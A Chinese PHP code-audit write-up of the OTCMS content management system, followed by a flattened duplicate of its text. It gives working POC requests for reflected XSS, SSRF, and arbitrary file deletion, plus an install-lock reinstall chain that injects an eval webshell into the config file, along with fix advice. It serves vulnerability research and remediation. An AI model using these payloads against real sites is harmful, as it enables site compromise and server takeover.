PHP代码审计--OTCMS
字数 1367 2025-08-06 18:08:14

PHP代码审计:OTCMS漏洞分析与利用

0x00 审计环境准备

  • PHP环境:phpstudy (php5.6.27 + Apache + mysql)
  • 操作系统:Windows10 64位
  • 审计工具:
    • PHPStorm
    • seay代码审计工具
  • 部署方式:将源码放到WWW目录,访问/install安装即可

0x01 目录结构分析

(注:原文未提供具体目录结构,此处略过)

0x02 漏洞审计与分析

1. 前台XSS漏洞

第一处:/apiRun.php

漏洞点

  • AutoRun函数中,GET方式传入的mode参数未经处理直接带入执行

利用条件

  • mudi参数需为autoRun

POC

/apiRun.php?mudi=autoRun&mode=";alert(/xss/);//

第二处:/read.php

漏洞点

  • GetCityData函数中,idName参数未经处理直接带入GetCituOptionJs函数
  • 在DOM方法中直接输出

利用条件

  • 需要mudi参数

POC

/read.php?mudi=getCityData&idName=alert(/xss/)

第三处:/users_deal.php

漏洞点

  • type参数经过AlertFilter函数处理后直接alert
  • AlertFilter仅替换了回车和英文双引号,过滤不充分

POC

/users_deal.php?mudi=mailSend&type=alert(/xss/)

2. 后台SSRF漏洞

漏洞链

  1. /info_deal.phpAddOrRev函数
  2. $img参数通过POST传入且无过滤
  3. 进入SaveRemoteFile函数
  4. 调用GetUrlContent函数
  5. 最终调用UseCurl函数执行curl请求

利用条件

  • $mudi值为add
  • isSavelmg=1

POC

POST /admin/info_deal.php?mudi=add
isSavelmg=1&img=URL&theme=1&typeStr=1&time=1

3. 任意文件删除漏洞

漏洞点

  • /userCenter_deal.phpDel函数
  • 路径参数无过滤直接使用unlink删除文件

利用条件

  1. $mudi值为rev
  2. 三个$dashangImg参数长度之和≥5
  3. 需要绕过Referer检查

POC

POST http://www.ot.com/usersCenter_deal.php?mudi=rev
Referer: http://www.ot.com
revType=app&dashangImg1=11&dashangImg2=11&dashangImg3=11&dashangImg1Old=../../1.txt

4. 系统重装漏洞

利用链

  1. 配合文件删除漏洞删除install.lock
  2. 访问/install重装系统
  3. 通过Write函数写入恶意代码

POC

POST /install/index.php?mudi=run
adminName=admin&adminPwd=admin&adminDir=admin&dbType=mysql&accName=%23+OTCMS%40%21db%2522.db&accDir=Data&sqlIp=localhost&sqlPo=3306&sqlUsername=root&sqlUserPwd=123456&sqlDbName=OTCMS&sqlPref=OT_&isImport=2&mysqlState=1&accBackupDir=Data_backup');eval($_POST[1]);#

Getshell验证

  • 访问config.php文件
  • 通过/install/index.php包含该文件执行恶意代码

0x03 漏洞修复建议

  1. XSS漏洞

    • 对所有输出到页面的变量进行HTML实体编码
    • 使用htmlspecialchars()等函数过滤输出
  2. SSRF漏洞

    • 限制curl请求的目标地址
    • 禁止访问内网地址
    • 使用白名单机制
  3. 文件删除漏洞

    • 严格校验文件路径
    • 禁止使用相对路径
    • 限制删除权限
  4. 系统重装漏洞

    • 加强install.lock文件保护
    • 安装完成后自动删除安装文件
    • 对配置文件写入进行严格过滤
  5. 通用建议

    • 对所有用户输入进行严格过滤和验证
    • 使用参数化查询防止SQL注入
    • 实现CSRF防护机制
    • 更新到最新版本修复已知漏洞

0x04 总结

通过对OTCMS的代码审计,我们发现该系统存在多处安全漏洞,包括XSS、SSRF、任意文件删除和系统重装漏洞。这些漏洞的组合利用可能导致严重的后果,如服务器被完全控制。开发人员应重视安全编码实践,对所有用户输入进行严格过滤,并对敏感操作实施充分的权限检查。

PHP代码审计:OTCMS漏洞分析与利用 0x00 审计环境准备 PHP环境:phpstudy (php5.6.27 + Apache + mysql) 操作系统:Windows10 64位 审计工具: PHPStorm seay代码审计工具 部署方式:将源码放到WWW目录,访问/install安装即可 0x01 目录结构分析 (注:原文未提供具体目录结构,此处略过) 0x02 漏洞审计与分析 1. 前台XSS漏洞 第一处:/apiRun.php 漏洞点 : AutoRun 函数中,GET方式传入的 mode 参数未经处理直接带入执行 利用条件 : mudi 参数需为 autoRun POC : 第二处:/read.php 漏洞点 : GetCityData 函数中, idName 参数未经处理直接带入 GetCituOptionJs 函数 在DOM方法中直接输出 利用条件 : 需要 mudi 参数 POC : 第三处:/users_ deal.php 漏洞点 : type 参数经过 AlertFilter 函数处理后直接alert AlertFilter 仅替换了回车和英文双引号,过滤不充分 POC : 2. 后台SSRF漏洞 漏洞链 : /info_deal.php 中 AddOrRev 函数 $img 参数通过POST传入且无过滤 进入 SaveRemoteFile 函数 调用 GetUrlContent 函数 最终调用 UseCurl 函数执行curl请求 利用条件 : $mudi 值为 add isSavelmg=1 POC : 3. 任意文件删除漏洞 漏洞点 : /userCenter_deal.php 中 Del 函数 路径参数无过滤直接使用 unlink 删除文件 利用条件 : $mudi 值为 rev 三个 $dashangImg 参数长度之和≥5 需要绕过Referer检查 POC : 4. 系统重装漏洞 利用链 : 配合文件删除漏洞删除 install.lock 访问 /install 重装系统 通过 Write 函数写入恶意代码 POC : Getshell验证 : 访问 config.php 文件 通过 /install/index.php 包含该文件执行恶意代码 0x03 漏洞修复建议 XSS漏洞 : 对所有输出到页面的变量进行HTML实体编码 使用 htmlspecialchars() 等函数过滤输出 SSRF漏洞 : 限制curl请求的目标地址 禁止访问内网地址 使用白名单机制 文件删除漏洞 : 严格校验文件路径 禁止使用相对路径 限制删除权限 系统重装漏洞 : 加强 install.lock 文件保护 安装完成后自动删除安装文件 对配置文件写入进行严格过滤 通用建议 : 对所有用户输入进行严格过滤和验证 使用参数化查询防止SQL注入 实现CSRF防护机制 更新到最新版本修复已知漏洞 0x04 总结 通过对OTCMS的代码审计,我们发现该系统存在多处安全漏洞,包括XSS、SSRF、任意文件删除和系统重装漏洞。这些漏洞的组合利用可能导致严重的后果,如服务器被完全控制。开发人员应重视安全编码实践,对所有用户输入进行严格过滤,并对敏感操作实施充分的权限检查。